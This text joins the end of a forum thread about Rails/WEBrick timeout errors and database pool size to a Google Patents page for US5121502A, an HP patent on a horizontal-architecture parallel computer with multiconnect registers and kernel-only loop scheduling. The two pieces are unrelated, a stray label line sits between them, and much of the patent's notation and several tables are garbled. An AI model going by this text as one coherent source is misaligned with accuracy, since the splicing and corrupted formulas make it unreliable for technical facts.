| rack (2.0.5) lib/rack/handler/webrick.rb:86:in `service'
| /home/lzap/.rbenv/versions/2.5.1/lib/ruby/2.5.0/webrick/httpserver.rb:140:in `service'
| /home/lzap/.rbenv/versions/2.5.1/lib/ruby/2.5.0/webrick/httpserver.rb:96:in `run'
| /home/lzap/.rbenv/versions/2.5.1/lib/ruby/2.5.0/webrick/server.rb:307:in `block in start_thread'
| logging (2.2.2) lib/logging/diagnostic_context.rb:474:in `block in create_with_logging_context'
app|I Rendered /home/lzap/.rbenv/versions/2.5.1/lib/ruby/gems/2.5.0/gems/actionpack-5.1.4/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb within rescues/layout (14.2ms)
127.0.0.1 - - [04/May/2018:11:31:35 CEST] "GET / HTTP/1.1" 500 59886
And it’s not just favicon.ico but I am getting many of these timeout errors when there are concurrent requests. It used to work just fine. I have sqlite3 database.
Any ideas?
Could this be caused by the MigrationChecker being called?
Good idea, does not seem to be this one tho, tried to do some debug statements and it runs afterwards.
About other timeout errors, it looks like db pool setting of 5 (default value) is not enough for our dashboard. Rails 4 or 5 / webrick are now multithreaded by default and this creates some concurrency. Increasing this to 15 helped to get rid of these errors.
But why we do database call for a favicon.ico request still puzzles me.
Possibly checking for active session?
|
__label__pos
| 0.963436 |
US5121502A - System for selectively communicating instructions from memory locations simultaneously or from the same memory locations sequentially to plurality of processing - Google Patents
System for selectively communicating instructions from memory locations simultaneously or from the same memory locations sequentially to plurality of processing Download PDF
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Publication number
US5121502A
US5121502A US07462301 US46230189A US5121502A US 5121502 A US5121502 A US 5121502A US 07462301 US07462301 US 07462301 US 46230189 A US46230189 A US 46230189A US 5121502 A US5121502 A US 5121502A
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instruction
address
multiconnect
register
bus
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US07462301
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Bantwal R. Rau
Ross A. Towle
David W. Yen
Wei-Chen Yen
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HP Inc
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• GPHYSICS
• G06COMPUTING; CALCULATING; COUNTING
• G06FELECTRIC DIGITAL DATA PROCESSING
• G06F9/00Arrangements for program control, e.g. control units
• G06F9/06Arrangements for program control, e.g. control units using stored programs, i.e. using an internal store of processing equipment to receive or retain programs
• G06F9/30Arrangements for executing machine instructions, e.g. instruction decode
• G06F9/38Concurrent instruction execution, e.g. pipeline, look ahead
• G06F9/3885Concurrent instruction execution, e.g. pipeline, look ahead using a plurality of independent parallel functional units
• G06F9/3889Concurrent instruction execution, e.g. pipeline, look ahead using a plurality of independent parallel functional units controlled by multiple instructions, e.g. MIMD, decoupled access or execute
• G06F9/3891Concurrent instruction execution, e.g. pipeline, look ahead using a plurality of independent parallel functional units controlled by multiple instructions, e.g. MIMD, decoupled access or execute organised in groups of units sharing resources, e.g. clusters
• GPHYSICS
• G06COMPUTING; CALCULATING; COUNTING
• G06FELECTRIC DIGITAL DATA PROCESSING
• G06F9/00Arrangements for program control, e.g. control units
• G06F9/06Arrangements for program control, e.g. control units using stored programs, i.e. using an internal store of processing equipment to receive or retain programs
• G06F9/30Arrangements for executing machine instructions, e.g. instruction decode
• G06F9/30098Register arrangements
• G06F9/3012Organisation of register space, e.g. banked or distributed register file
• G06F9/3013Organisation of register space, e.g. banked or distributed register file according to data content, e.g. floating-point registers, address registers
• GPHYSICS
• G06COMPUTING; CALCULATING; COUNTING
• G06FELECTRIC DIGITAL DATA PROCESSING
• G06F9/00Arrangements for program control, e.g. control units
• G06F9/06Arrangements for program control, e.g. control units using stored programs, i.e. using an internal store of processing equipment to receive or retain programs
• G06F9/30Arrangements for executing machine instructions, e.g. instruction decode
• G06F9/30098Register arrangements
• G06F9/3012Organisation of register space, e.g. banked or distributed register file
• G06F9/30134Register stacks; shift registers
• GPHYSICS
• G06COMPUTING; CALCULATING; COUNTING
• G06FELECTRIC DIGITAL DATA PROCESSING
• G06F9/00Arrangements for program control, e.g. control units
• G06F9/06Arrangements for program control, e.g. control units using stored programs, i.e. using an internal store of processing equipment to receive or retain programs
• G06F9/30Arrangements for executing machine instructions, e.g. instruction decode
• G06F9/38Concurrent instruction execution, e.g. pipeline, look ahead
• G06F9/3824Operand accessing
• G06F9/383Operand prefetching
• G06F9/3832Value prediction for operands; operand history buffers
• GPHYSICS
• G06COMPUTING; CALCULATING; COUNTING
• G06FELECTRIC DIGITAL DATA PROCESSING
• G06F9/00Arrangements for program control, e.g. control units
• G06F9/06Arrangements for program control, e.g. control units using stored programs, i.e. using an internal store of processing equipment to receive or retain programs
• G06F9/30Arrangements for executing machine instructions, e.g. instruction decode
• G06F9/38Concurrent instruction execution, e.g. pipeline, look ahead
• G06F9/3885Concurrent instruction execution, e.g. pipeline, look ahead using a plurality of independent parallel functional units
Abstract
A horizontal architecture computer in which a plurality of instructions are selectively communicated to a processing unit simultaneously or sequentially. The computer includes a processing unit with a plurality of processors, an instruction unit with a plurality of storage locations for storing instructions, and means for communicating the instructions to the processors. A first connection circuit provides a plurality of parallel communication channels between the storage locations and the processors and a second connection circuit provides a single serial communication channel between the storage locations and the processors. The first circuit is selected if a multioperation instruction is to be executed, otherwise the second circuit is selected instead.
Description
CROSS-REFERENCE TO RELATED APPLICATIONS
This application is a continuation of application Ser. No. 07/296,416, filed Jan. 9, 1989 (now abandoned) which in turn is a continuation of Ser. No. 07/045,882 (abandoned).
This application is related to the following applications:
Ser. No. 07/342,649, now U.S. Pat. No. 5,036,454 which is a continuation of Ser. No. 07/045,884 (abandoned);
Ser. No. 07/296,391, now abandoned which is a continuation of Ser. No. 07/045,883 (abandoned);
Ser. No. 07/045,896; and
Ser. No. 07/445,136 (filed Nov. 30, 1989) which is a continuation of Ser. No. 07/296,415 (abandoned) which in turn is a continuation of Ser. No. 07/045,895 (abandoned).
BACKGROUND OF INVENTION
The present invention relates to computers, and more particularly, to high-speed, parallel-processing computers employing horizontal architectures.
Typical examples of computers are the IBM 360/370 Systems. In such systems, a series of general purpose registers (GPRs) are accessible to supply data to an arithmetic and logic unit (ALU). The output from the arithmetic and logic unit in turn supplies results from arithmetic and logic operations to one or more of the general purpose registers. In a similar manner, some 360/370 Systems include a floating point processor (FPP) and include corresponding floating point registers (FPRs). The floating point registers supply data to the floating point processor and, similarly, the results from the floating point processor are stored back into one or more of the floating point registers. The types of instructions which employ either the GPRs or the FPRs are register to register (RR) instructions. Frequently, in the operation of the GPRs and the FPRs for RR instructions, identical data is stored in two or more register locations. Accordingly, the operation of storing data into the GPRs is selectively to one or more locations. Similarly, the input to the ALU frequently is selectively from one or more of many locations storing the same data.
Horizontal processors have been proposed for a number of years. See for example, "SOME SCHEDULING TECHNIQUES AND AN EASILY SCHEDULABLE HORIZONTAL ARCHITECTURE FOR HIGH PERFORMANCE SCIENTIFIC COMPUTING" by B. R. Rau and C. D. Glaeser, IEEE Proceedings of the 14th Annual Microprogramming Workshop, October 1981, pp. 183-198 Advanced Processor Technology Group ESL, Inc., San Jose, Calif., and "EFFICIENT CODE GENERATION FOR HORIZONTAL ARCHITECTURES:COMPILER TECHNIQUES AND ARCHITECTURAL SUPPORT" BY B. Ramakrishna Rau, Christopher D. Glaeser and Raymond L. Picard, IEEE 9th Annual Symposium on Computer Architecture 1982, pp. 131-139.
Horizontal architectures have been developed to perform high speed scientific computations at a relatively modest cost. The simultaneous requirements of high performance and low cost lead to an architecture consisting of multiple pipelined processing elements (PEs), such as adders and multipliers, a memory (which for scheduling purposes may be viewed as yet another PE with two operations, a READ and WRITE), and an interconnect which ties them all together.
The interconnect allows the result of one operation to be directly routed to one of the inputs for another processing element where another operation is to be performed. With such an interconnect the required memory bandwidth is reduced since temporary values need not be written to and read from the memory. Another aspect typical of horizontal processors is that their program memories emit wide instructions which synchronously specify the actions of the multiple and possibly dissimilar processing elements. The program memory is sequenced by a sequencer that assumes sequential flow of control unless a branch is explicitly specified.
As a consequence of their simplicity, horizontal architectures are inexpensive when considering the potential performance obtainable. However, if this potential performance is to be realized, the multiple resources of a horizontal processor must be scheduled effectively. The scheduling task for conventional horizontal processors is quite complex and the construction of highly optimizing compilers for them is difficult and expensive.
The polycyclic architecture has been designed to support code generation by simplifying the task of scheduling the resources of horizontal processors The advantages are 1) that the scheduler portion of the compiler will be easier to implement, 2) that the code generated will be of a higher quality, 3) that the compiler will execute fast, and 4) that the automatic generation of compilers will be facilitated.
The polycyclic architecture is a horizontal architecture that has unique interconnect and delay elements The interconnect element of a polycyclic processor has a dedicated delay element between every directly connected resource output and resource input. This delay element enables a datum to be delayed by an arbitrary amount of time in transit between the corresponding output and input.
The topology of the interconnect may be arbitrary. It is possible to design polycyclic processors with n resources in which the number of delay elements is 0(n), (a unior multi-bus structure), 0(nlogn), (e.g. delta networks) or 0(n*n), (a cross-bar). The trade-offs are between cost, interconnect bandwidth and interconnect latency. Thus, it is possible to design polycyclic processors lying in various cost-performance brackets
In previously proposed polycyclic processors, the structure of an individual delay element consists of a register file, any location of which may be read by providing an explicit read address. Optionally, the value accessed can be deleted. This option is exercised on the last access to that value. The result is that every value with addresses greater than the address of the deleted value is simultaneously shifted down, in one machine cycle, to the location with the next lower address. Consequently, all values present in the delay element are compacted into the lowest locations. An incoming value is written into the lowest empty location which is always pointed to by the Write Pointer that is maintained by hardware. The Write Pointer is automatically incremented each time a value is written and is decremented each time one is deleted. As a consequence of deletions, a value, during its residence in the delay element, drifts down to lower addresses, and is read from various locations before it is itself deleted
A value's current position at each instant during execution must be known by the compiler so that the appropriate read address may be specified by the program when the value is to be read. Keeping track of this position is a tedious task which must be performed by a compiler during code-generation.
To illustrate the differences, two processors, a conventional horizontal processor and a polycyclic processor, are compared. A typical horizontal processor contains one adder and one multiplier, each with a pipeline stage time of one cycle and a latency of two cycles. It also contains two scratch-pad register files labeled A and B. The interconnect is assumed to consist of a delayless cross-bar with broadcast capabilities, that is, the value at any input port may be distributed to any number of the output ports simultaneously. Each scratch-pad is assumed to be capable of one read and one write per cycle. A read specified on one cycle causes the datum to be available at the output ports of the interconnect on the next cycle. If a read and a write with the same address are specified on the same scratch-pad on the same cycle, then the datum at the input of the scratch-pad during that cycle will be available at the output ports of the interconnect on the next cycle. In this manner, a delay of one or more cycles may be obtained in transmitting a value between the output of one processor and the input of another. The horizontal processor typically also contains other resources
A typical polycyclic processor is similar to the horizontal processor except for the nature of the interconnect element and the absence of the two scratchpad register files. While the horizontal processor's interconnect is a crossbar, the polycyclic processor's interconnect is a crossbar with a delay element at each cross-point. The interconnect has two output ports (columns) and one input port (row) for each of the two processing elements Each cross-point has a delay element which is capable of one read and one write each cycle.
In previously proposed processors, a processor can simultaneously distribute its output to any or all of the delay elements which are in the row of the interconnect corresponding to its output port. A processor can obtain its input directly. If a value is written into a delay element at the same time that an attempt is made to read from the delay element, the value is transmitted through the interconnect with no delay. Any delay may be obtained merely by leaving the datum in the delay element for a suitable length of time.
In the polycyclic processors proposed, elaborate controls were provided for determining which delay element in a row actually received data as a result of a processor operation and the shifting of data from element to element This selection process and shifting causes the elements in a row to have different data at different times. Furthermore, the removal of data from the different delay elements requires an elaborate process for purging the data elements at appropriate times. The operations of selecting and purging data from the data elements is somewhat cumbersome and is not entirely satisfactory.
Although the polycyclic and horizontal processors which have previously been proposed are an improvement over previously known systems, there still is a need for still additional improvements which increase the performance and efficiency of processors.
SUMMARY OF INVENTION
The present invention is embodied in a horizontal architecture (parallel processor) computer system in which a plurality of instructions are selectively communicated to a processing unit simultaneously or sequentially.
Briefly and in general terms, the invention is preferably embodied in a computer system having a processing unit, an instruction unit, and means for communicating instructions from the instruction unit to the processing unit. The processing unit includes a plurality of processors. The instruction unit includes a plurality of storage locations for storing instructions. The means for providing instructions includes a first connection circuit for providing a plurality of parallel communication channels between the storage locations and the processors, a second connection circuit for providing a single serial communication channel between the storage locations and the processors, and a control circuit for selecting between the first and second connection circuits.
Preferably the control circuit selects the first connection circuit if a multioperation instruction is to be executed, and if such an instruction is not present then the second circuit is selected instead, thereby resulting in highly efficient use of the resources of the computer system.
The computer system preferably also comprises a multiconnect unit and an invariant address unit. The multiconnect unit provides input operands to the processors and receives output operands from the processors, and the invariant addressing unit combines address offsets provided by the instruction unit with a modifiable pointer to provide addresses of operands in the multiconnect unit.
In response to instructions, the processing unit performs operations on input operands and provides output operands. The multiconnect unit stores operands at address locations and provides the input operands to the processing unit from source addresses and stores the output operands from the processing unit at destination addresses The instruction unit specifies operations to be performed by the processing unit and specifies address offsets of the operands in the multiconnect unit relative to pointers The invariant addressing unit combines the pointer and the address offsets to form the actual addresses of operands in the multiconnect unit. The pointer is modified to sequence the actual address locations accessed in the multiconnect unit.
The multiconnect is a register array formed of memory circuits constituting a plurality of multiconnect elements organized in rows and columns Each multiconnect element has addressable multiconnect locations for storing operands.
The multiconnect elements are organized in columns so that all multiconnect elements in a column are connected to a common data bus providing a data input to a processor. Each multiconnect element in a column, when addressed, provides a source operand onto the common data bus in response to a source address offset from an instruction. The multiconnect is organized such that each processor has an output connected to a row of multiconnect elements so that output operands are stored identically in each element in a row. The particular location in which a result operand is stored in each element is specified by a row destination address offset from the instruction unit
Each address offset, including the column source address offset and the row destination address offset, is specified relative to the multiconnect pointer (mcp) by an instruction.
The invariant addressing unit combines the instruction specified address offset with the multiconnect pointer to provide the actual address of the source or destination operand in the multiconnect array.
The multiconnect permits each processor to receive information from the output of any other processor at the same time while changing actual address locations by changing the pointer without changing the relative location of operands
The instructions executed by the computer of the present invention are scheduled to make efficient use of the available processors and other resources in the system and to insure that no conflict exists for use of the resources of the system.
As a result of scheduling a program, an initial instruction stream, IS, of scheduled instructions is formed. Each initial instruction, Il, in the initial instruction stream is formed by a set of zero, one or more operations that are to be initiated concurrently. When an instruction specifies only a single operation, it is a single-operation instruction and when it specifies multiple operations, it is a multi-operation instruction.
The initial instructions in the initial instruction stream, IS, are transformed to a transformed(or kernel) instruction stream, IS, having Y transformed(kernel) instructions I0, I1, I2, I3, . . . , Ik, . . . , I.sub.(Y-1).
Iteration control circuitry is provided for selectively controlling the operations of the kernel instructions. Different operations specified by each kernel instruction are initiated as a function of the particular iteration of the loop that is being performed. The iterations are partitioned into a prolog, body, and epilog. During successive prolog iterations, an increasing number of operations are performed, during successive body iterations, a constant number of operations are performed, and during successive epilog iterations, a decreasing number of operations are performed.
The iteration control circuity includes controls for counting the iterations of a loop, the prolog iterations, the body iterations and the epilog iterations. In one particular embodiment, a loop counter counts the loops and an epilog counter counts the iterations during the epilog. An iteration control register is provided for controlling each processor to determine which operations are active during each iteration.
In accordance with the above summary, the present invention provides an improved computer including means for communicating instructions to a plurality of processors sequentially or simultaneously.
BRIEF DESCRIPTION OF DRAWINGS
FIG. 1 is a block diagram of an overall system in accordance with the present invention.
FIG. 2 is a block diagram of a numeric processor computer which forms part of the FIG. 1 system.
FIG. 3 is a block diagram of one preferred embodiment of a numeric processor computer of the FIG. 2 type.
FIG. 4 is a block diagram of the instruction unit which forms part of the computer of FIG. 3.
FIG. 5 is a block diagram of the instruction address generator which forms part of the instruction unit of FIG. 4.
FIG. 6 is a block diagram of an invariant addressing unit which is utilized within the computer of FIGS. 2 and 3.
FIG. 7 depicts a schematic representation of a typical processor of the type employed within the processing unit of FIG. 2 or FIG. 3.
FIG. 8 depicts the STUFFICR control processor for controlling predicate values within the FIG. 3 system.
FIG. 9 depicts a multiply processor within the FIG. 3 system.
FIG. 10 is a block diagram of typical portion of the multiconnect and the corresponding processors which form part of the system of FIG. 3.
FIG. 11 depicts a block diagram of one preferred implementation of a physical multiconnect which forms one half of two logical multiconnects within the FIG. 3 system.
FIGS. 12 and 13 depict electrical block diagrams of portions of the physical multiconnect of FIG. 11.
FIG. 14 depicts a block diagram of a typical predicate ICR multiconnect within the FIG. 3 system.
FIG. 15 depicts a block diagram of an instruction unit for use with multiple operation and single operation instructions.
DETAILED DESCRIPTION Overall System--FIG. 1
In FIG. 1, a high performance, low-cost system 2 is shown for computation-intensive numeric tasks. The FIG. 1 system processes computation tasks in the numeric processor(NP) computer 3.
The computer 3 typically includes a processing unit(PU) 8 for computation-intensive task, includes an instruction unit(IU) 9 for the fetching, dispatching, and caching of instructions, includes a register multiconnect unit (MCU) 6 for connecting data from and to the processing unit 8, and includes an interface unit(IFU) 23 for passing data to and from the main store 7 over bus 5 and to and from the I/0 24 over bus 4. In one embodiment, the interface unit 23 is capable of issuing two main store requests per clock for the multiconnect unit 6 and one request per clock for the instruction unit 9.
The computer 3 employs a horizontal architecture for executing an instruction stream, IS, fetched by the instruction unit 9. The instruction stream includes a number of instructions, I0, I1, I2, . . . , Ik, . . . , I.sub.(K-1) where each instruction, Ik, of the instruction stream IS specifies one or more operations o1 k,l, o2 k,l, . . . , on k,l, . . . , oN k,l, to be performed by the processing unit 8.
In one embodiment, the processing unit 8 includes a number, N, of parallel processors, where each processor performs one or more of the operations, on k,l. Each instruction from the instruction unit 9 provides source addresses (or source address offsets) for specifying the addresses of operands in the multiconnect unit 6 to be transferred to the processing unit 8. Each instruction from the instruction unit 9 provides destination addresses (or destination address offsets) for specifying the addresses in the multiconnect unit 6 to which result operands from the processing unit 8 are to be transferred. The multiconnect unit 6 is a register file where the registers are organized in rows and columns and where the registers are accessed for writing into in rows and are accessed for reading from in columns. The columns connect information from the multiconnect unit 6 to the processing unit 8 and the rows connect information from the processing unit to the multiconnect unit 6.
The instruction unit 9 uses invariant addressing to specify source and destination address in the multiconnect unit 6. The invariant addressing is carried out in invariant addressing units (IAU) 12 which store multiconnect pointers (mcp). The instructions provide addresses in the form of address offsets (ao) and the address offsets (ao) are combined with the multiconnect pointers (mcp) to form the actual source and destination addresses in the multiconnect unit 6. The addresses in the multiconnect unit are specified with mcp-relative addresses.
Instruction Scheduling
The execution of instructions by the computer of the present invention requires that the instructions of a program be scheduled, for example, by a compiler which compiles prior to execution time. The object of the scheduling is to make efficient use of the available processors and other resources in the system and to insure that no conflict exists for use of the resources of the system. In general, each functional unit (processor) can be requested to perform only a single operation per cycle and each bus can be requested to make a single transfer per cycle. Scheduling attempts to use, at the same time, as many of the resources of the system as possible without creating conflicts so that execution will be performed in as short a time as possible.
As a result of scheduling a program, an initial instruction stream, IS, of scheduled instructions is formed and is defined as the Z initial instructions I0, I1, I2, I3, . . . , Il, . . . , I.sub.(Z-1) where 0≦l≦(Z-1). The scheduling to form the initial instruction stream, IS, can be performed using any well-known scheduling algorithm. For example, some methods for scheduling instructions are described in the publications listed in the above BACKGROUND OF INVENTION.
Each initial instruction, Il, in the initial instruction stream is formed by a set of zero, one or more operations, o0 l, o1 l, o2 l, . . . , on l, . . . , o.sub.(N-1)l, that are to be initiated concurrently, where 0≦n≦(N-1), where N is the number of processors for performing operations and where the operation on l is performed by the nth -processor in response to the lth -initial instruction. When an instruction has zero operations, the instruction is termed a "NO OP" and performs no operations. When an instruction specifies only a single operation, it is a single-op instruction and when it specifies multiple operations, it is a multi-op instruction.
In accordance with the present invention, the initial instructions in the initial instruction stream, IS, are transformed to a transformed (or kernel) instruction stream, IS, having Y transformed (kernel) instructions I0, I1, I2, I3, . . . , Ik, . . . , I.sub.(Y-1) where 0≦k≦(Y-1).
Each kernel instruction, Ik, in the kernel instruction stream IS is formed by a set of zero, one or more operations, o0 k,l, o1 k,l, o2 k,l, . . . , on k,l, . . . , o.sub.(N-1)k,l, initiated concurrently where 0≦n≦(N-1), where N is the number of processors for performing operations and where the kernel operation, on k,l, is performed by the nth -processor in response to the kth -kernel instructions.
The operations designated as o0 k,l, o1 k,l, o2 k,l, . . . , on k,l, . . . , o.sub.(N-1)k,l for the kernel kth -instruction, Ik, correspond to selected ones of the operations o0 l, o1 l, . . . , on l, . . . , O.sub.(N-1)l selected from all L of the initial instructions Il for which the index k satisfies the following:
k=lMOD[K]
where,
0≦l≦(L-1).
Each kernel operation on k,l is identical to a unique one of the initial operations on l where the value of l is given by k=lMOD[K].
An initial instruction stream, IS, is frequently of the type having a loop, LP, in which the L instructions forming the loop are repeatedly executed a number of times, R, during the processing of the instruction stream. After transformation, an initial loop, LP, is converted to an kernel loop, KE, of K kernel instructions I0, I1, I2, . . . , Ik, . . . , I.sub.(K-1) in which execution proceeds from I0 toward I.sub.(K-1) one or more times, once for each execution of the kernel, KE, where 0≦k≦(K-1).
Overlapping of Loops
A modulo scheduling algorithm, for example as described in the articles referenced under the BACKGROUND OF INVENTION, is applied to a program loop that consists of one basic block. The operations of each iteration are divided into groups based on which stage, Sj, they are in where j equals 0, 1, 2, . . . , and so on. Thus, operations scheduled for the first iteration interval (II) of instruction cycles are in the first stage (S0), those scheduled for the next II cycles are in the second stage (S1), and so on. The modulo scheduling algorithm assigns the operations, on l, to the various stages and schedules them in such a manner that all the stages, one each from consecutive iterations, can be executed simultaneously.
As an example, consider a schedule consisting of three stages S0, S1, and S2 per iteration. These three stages are executed in successive iterations(i=0, 1, 2, 3, 4,) in the following example:
______________________________________Iteration #0 1 2 3 4______________________________________II.sub.0 S0(0)II.sub.1 S1(0) S0(1)II.sub.2 S2(0) S1(1) S0(2)II.sub.3 S2(1) S1(2) S0(3)II.sub.4 S2(2) S1(3) S0(4): : :: :______________________________________
Sj(i) represents all the operations in the j-th stage of iteration i. Starting with the interval in which the last stage of the first iteration is executed(II2 in the above example) a repetitive execution pattern exists until the interval in which the first stage of the last iteration is executed (II4 in the above example). All these repetitive steps may be executed by iterating with the computation of the form:
S2(i-2) S1(i-1) S0(i)
This repeated step is called the kernel The steps preceding the kernel (II0, II1 in the example) are called the prolog, and the steps following the kernel(after II4 in the example) are called the epilog. The nature of the overall computation is partioned as follows:
______________________________________Prolog: S0(0) S1(0) S0(1)Kernel: S2(i - 2) S1(i - 1) S0(i) for i = 3, . . ., nEpilog: S2(n - 1) S1(n) S2(n)______________________________________
To avoid confusion between the iterations of the initial loop, LP, and the iterations of the kernel loop, KE, the terms l-iteration and k-iteration are employed, respectively.
Assuming that the computation specified by each l-iteration is identical with the computation by each other iteration, the modulo scheduling algorithm guarantees (by construction) that corresponding stages in any two iterations will have the same set of operations and the same relative schedules. However, if the body of the loop contains conditional branches, successive iterations can perform different computations. These different computations are handled in the kernel-only code by means of a conditionally executed operation capability which produces the same result as the situation in which each l-iteration performs the same computation.
Each operation that generates a result must specify the destination address in the multiconnect unit in which the result is to be held. In general, due to the presence of recurrences and the overlapping of l-iterations, the result generated by the operation in one l-iteration may not have been used (and hence still must be saved) before the result of the corresponding operation in the next l-iteration is generated. Consequently, these two results cannot be placed in the same register which, in turn, means that corresponding operations in successive iterations will have different destination (and hence, source) fields. This problem, if not accounted for, prevents the overlapping of l-iterations.
One way to handle this problem is to copy the result of one l-iteration into some other register before the result for the next l-iteration is generated. The obvious disadvantage of such copying is that a large number of copy operations result and performance is degraded Another way around the problem without loss of performance, but with expensive hardware cost, is to organize the registers as a shift register with random read-write capability. If the registers are shifted every time a new l-iteration is started, the necessary copy operations will be performed simultaneously for all results of previous l-iterations. The disadvantage is the cost.
In accordance with the present invention, the problem is avoided less expensively by using register files (called multiconnect elements) with the source and destination fields as relative displacements from a base multiconnect pointer (mcp) when computing the read and write addresses for the multiconnect elements. The base pointer is modified (decremented) each time an iteration of the kernel loop is started.
Since the source and destination register (multiconnect element) addresses are determined by adding the corresponding operation address offset (ao) to the current value of the multiconnect pointer (mcp), the specification of a source address must be based on a knowledge of the destination address of the operation that generated the relevant result and the number of times that the base multiconnect pointer has been decremented since the result generating operation was executed.
Kernel-Only Code
Code space can be saved relative to the non-overlapping version of code by using overlapping kernel-only schedules. The use of kernel-only code requires the following conditions:
1. that Sj(i) be identical to Sj(k) for all i and k and
2. the capability of conditionally executing operations.
The notation
Sj(i) if p(i)
means that the operations in the j-th stage of the i-th -iteration are executed normally if and only if the predicate (Boolean value) p(i) is true. If p(i) is false, every operation in Sj(i) will effectively be a NO OP, that is, no operation.
These conditions yield the following kernel-only loop:
______________________________________LOOP: (for i = 1, . . ., n + 2) S2(i - 2), 0, 1, 2 if p(i - 2) S1(i - 1), 0, 1 if p(i - 1) S0(i), 0 if p(i) If i is less than n then decrement mcp pointer, set p(i + 1) to true and goto LOOP else decrement base pointer, set p(i + 1) to false and goto LOOP______________________________________
The initial conditions for the kernel-only code are that all the p(i) have been cleared to false and p(1) is set to true. After n+2 iterations, the loop is exited.
To provide consistency, the terms used in this specification are generally as set forth in the following term table.
Term Table
IS=initial instruction stream having Z initial in
structions I0, I2, I2, I3, . . . , Il, . . . , I.sub.(Z-1) where 0≦l<Z.
Il =lth -initial instruction in the initial instruction stream IS formed by a set of zero, one or more operations, 00 l, o1 l, o2 l, . . . , on l, . . . , o.sub.(n-1)l, initiated concurrently, where 0≦n≦(N-1), where N is the number of processors for performing operations and where the operation on l is performed by the nth -processor in response to the lth initial instruction. When an instruction has zero operations, the instruction is termed a "NO OP" and performs no operations.
LP=an initial loop of L initial instructions I0, I1, I2, . . . , Il, . . . , I.sub.(L-1) which forms part of the initial instruction stream IS and in which execution proceeds from I0 toward I.sub.(L-1), and which commences with I0 one or more times, once for each iteration of the loop, LP, where 0≦l≦(L-1).
L=number of instructions in the initial loop, LP.
On l =nth -operation of a set of zero, one or more operations o0 l, o1 l, o2 l, On l, . . . , o.sub.(N-1)l for the lth -initial instruction, Il, where 0≦n≦(N-1) and where N is the number of processors for performing operations and where the operation on l is performed by the nth -processor in response to the lth -initial instruction.
IS=kernel instruction stream having Y kernel instructions I0, I1, I2, I3, . . . , Ik, . . . , I.sub.(Y-1) where 0≦k≦(Y-1).
Ik =kth -kernel instruction in the kernel instruction stream IS formed by a set of zero, one or more operations, o0 k,l, ol k,l, o2 k,l, . . . , on k,l, . . . , o.sub.(N-1)k,l, initiated concurrently where 0≦n≦(N-1), where N is the number of processors for performing operations and where the kernel operation, on k,l, is performed by the nth -processor in response to the kth -kernel instructions. When an instruction has zero operations, the instruction is termed a "NO OP" and performs no operations.
KE=a kernel loop of K kernel instructions I0, I1, I2, . . . , Ik, . . . , I.sub.(K-1) in which execution proceeds from I0 toward I.sub.(K-1) one or more times, once for each execution of the kernel, KE, where 0≦k≦(K-1).
K=number of instructions in kernel loop, KE.
on k,l =nth -operation of a set of zero, one or more operations o0 k,l, o1 k,l, . . . , on k,l, . . . , o.sub.(N-1)k,l for the kth -instruction, Ik, where 0≦n≦(N-1) and N is the number of processors for performing operations.
The operations designated as o0 k,l, o1 k,l, o2 k,l , . . . , on k,l, . . . , o.sub.(N-1)k,l for the kernel kth -instruction, Ik, correspond to selected ones of the operations o0 l, o2 l, . . . , on l, . . . , o.sub.(N-1)l selected from all L of the initial instructions Il for which the index k satisfies the following:
k=lMOD[K]
where,
0≦l≦(L-1)
Each kernel operation on k,l is identical to a unique one of the initial operations on l where the value of l is given by k=lMOD[K].
______________________________________S.sub.n.sup.l = stage number of each n.sup.th operation, - o.sub.n.sup.k, l, for 0 ≦ n ≦ (N - 1) in the l.sup.th -initial instruction, I.sub.l.= INT[l/K] where, 0 ≦ S.sub.n.sup.l ≦ (J - 1) (J - 1) = INT[L/K].= po.sub.n.sup.k, l______________________________________
J=the number of stages in the initial loop, LP.
i=iteration number for kernel loop, KE.
i=iteration number for kernel loop, KE.
II=iteration interval formed by a number, K, of instruction periods.
T=sequence number indicating cycles of the computer clock
icp(i)=iteration control pointer value during ith -iteration.
______________________________________mcp(.sup.- i) = multiconnect pointer value during .sup.- i.sup.th -iteration |constant, for .sup.- i = 1= | |D*[mcp(.sup.- i - 1)], for .sup.- i greater than______________________________________ 1.
D* []=operator for forming a modified value of mcp(i) or icp(i) from the previous value mcp(i-1) or icp(i-1).
aon k (c)=address offset for cth -connector port specified by nth -operation of the kernel kth -instruction, Ik.
______________________________________a.sub.n.sup.k (c) (.sup.- i) = multiconnect memory address for c.sup.th -connector port determined for n.sup.th -operation of k.sup.th -in- struction during .sup.- i.sup.th -iteration.= ao.sub.n.sup.k (c) + mcp(.sup.- i).po.sub.n.sup.k, l = predicate offset specified by n.sup.th -operation, - o.sub..sup.k, l, of kernel k.sup.th -instruction.= INT[l/K], where 0 ≦ po.sub.n.sup.k, l ≦ (J - 1). The predicate offset, po.sub.n.sup.k, l, from the kernel operation - o.sub.n.sup.k, l is identical to the stage number S.sub.n.sup.l from the initial operation, o.sub.n.sup.l, which corresponds to the kernel operation, - o.sub.n.sup.k, l. The operation o.sub.n.sup.l corresponds to - o.sub.n.sup.k, l when for both operations l equals l and n equals n but k may or may not equal k.p.sub.n.sup.k (.sup.- i) = iteration control register (icr) multiconnect memory address determined for n.sup.th -operation of k.sup.th -instruction during .sup.- i-iteration.= po.sub.n.sup.k, l + icp(.sup.- i).______________________________________ O.sub.n.sup.l [i]=execution of o.sub.n.sup.l, during i.sup.th -iteration where o.sub.n.sup.l is the n.sup.th -operation within l.sup.th -initial instruction.
on k,l [i]=execution of on k,l during ith -iteration where on k,l is the nth -operation within kth -kernel instruction.
i=i+Sn l.
i=i-pon k,l.
k=lMOD[K].
______________________________________1c = loop count for counting each iteration of kernel loop, KE, corresponding to iterations of initial loop, LP.= (R1)esc = epilog stage count for counting additional iterations of kernel loop, KE, after iterations which correspond to initial loop, LP.= S.sub.n.sup.l for l = L (the largest stage number).______________________________________
psc=prolog stage count for counting first (Sn l -1) iterations of initial loop, LP.
cn k (i)=iteration control value for nth -operation during ith -iteration accessed from a control register at pn k (i) address.
R=number of iterations of initial loop, LP, to be performed.
R=number of iterations of kernel loop, KE to be performed
R=R+esc
Numeric Processor--FIG. 2
A block diagram of the numeric processor, computer 3, is shown in FIG. 2. The computer 3 employs a horizontal architecture for use in executing an instruction stream fetched by the instruction unit 9. The instruction stream includes a number of kernel instructions, I0, I1, I2, . . . , Ik, . . . , I.sub.(K-1) of an instruction stream, IS, where each said instruction, Ik, of the instruction stream IS specifies one or more operations ol k,l, o2 k,l, . . . , on k,l, . . . , oN k,l, where each operation, on k,l, provides address offsets, aon k (c), used in the invariant address (IA) units 12.
